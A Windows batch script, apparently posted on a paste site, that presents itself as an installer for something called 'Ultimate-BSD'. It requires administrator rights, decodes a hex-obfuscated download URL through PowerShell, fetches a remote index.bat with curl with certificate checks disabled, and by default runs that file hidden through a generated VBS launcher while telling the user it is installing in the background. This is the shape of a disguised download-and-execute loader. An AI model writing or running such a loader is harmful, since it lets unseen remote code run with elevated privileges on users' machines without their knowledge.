@echo off
setlocal enabledelayedexpansion

set "white=�[37m"
set "grey=�[90m"
set "brightred=�[91m"
set "brightblue=�[94m"
set "green=�[32m"

echo:%*| findstr /ic:"-s">nul && set silent=true
if not defined AccountID set AccountID=none

set "PrintCore= !grey!$ [!brightblue!%username%!grey!] [!brightblue!INSTALLER!grey!]"
set "ErrPrintCore= !brightred!$ !grey![!brightblue!%username%!grey!] [!brightblue!INSTALLER!grey!]"
set "INSTALL_LOCATION=%temp%\Ultimate-BSD"

cls
echo:
echo !PrintCore! Making sure everything is ready to start . . .!white!

nul 2>&1 net session || (

1
2
3
echo:
echo !ErrPrintCore! Please run CMD as administrator and try again.!white!
exit /b

)
echo:

nul 2>&1 del /s /q "!INSTALL_LOCATION!*"

echo !PrintCore! Fetching Information . . .!white!
chcp 437>nul&for %%a in ("68 74 74 70 73 3a 2f 2f 63 64 6e 2e 61 67 61 6d 73 6f 6c 2e 78 79 7a 3a 39 30 2f 6d 65 64 69 61 2f") do for /f "delims=" %%b in ('powershell "$Hello = '%%a';$There = $Hello -split ' ' |ForEach-Object {[char][byte]"""0x$_"""};$Man = $There -join '';$Man"') do >nul curl --create-dirs -skLo "!INSTALL_LOCATION!\index.bat" "%%bwin/index.bat"&chcp 65001>nul
cmd /c exit /b

echo:%*| findstr /ic:"--debug">nul && (
echo:
echo !PrintCore! DEBUGGER is now !green!on!grey!.!white!
timeout /t 2 /nobreak >nul
if exist "!INSTALL_LOCATION!\index.bat" (
call "!INSTALL_LOCATION!\index.bat" "%~1"
echo:
echo !PrintCore! DEBUGGING Process has been finished.!white!
echo:
echo !PrintCore! Press any key to EXIT.!white!
pause >nul
)
) || (
>"!INSTALL_LOCATION!\silent.vbs" echo CreateObject^("Wscript.Shell"^).Run """" ^& "!INSTALL_LOCATION!\index.bat" ^& """ " ^& "%~1", 0
>nul call "!INSTALL_LOCATION!\silent.vbs"
echo:
echo !PrintCore! Application is installing in background.
echo You can close this window.!white!
echo:
if "!silent!"=="true" exit /b 0
pause >nul

)
exit /b

Edit

Pub: 16 Aug 2022 13:14 UTC

Edit: 16 Aug 2022 16:35 UTC

Views: 92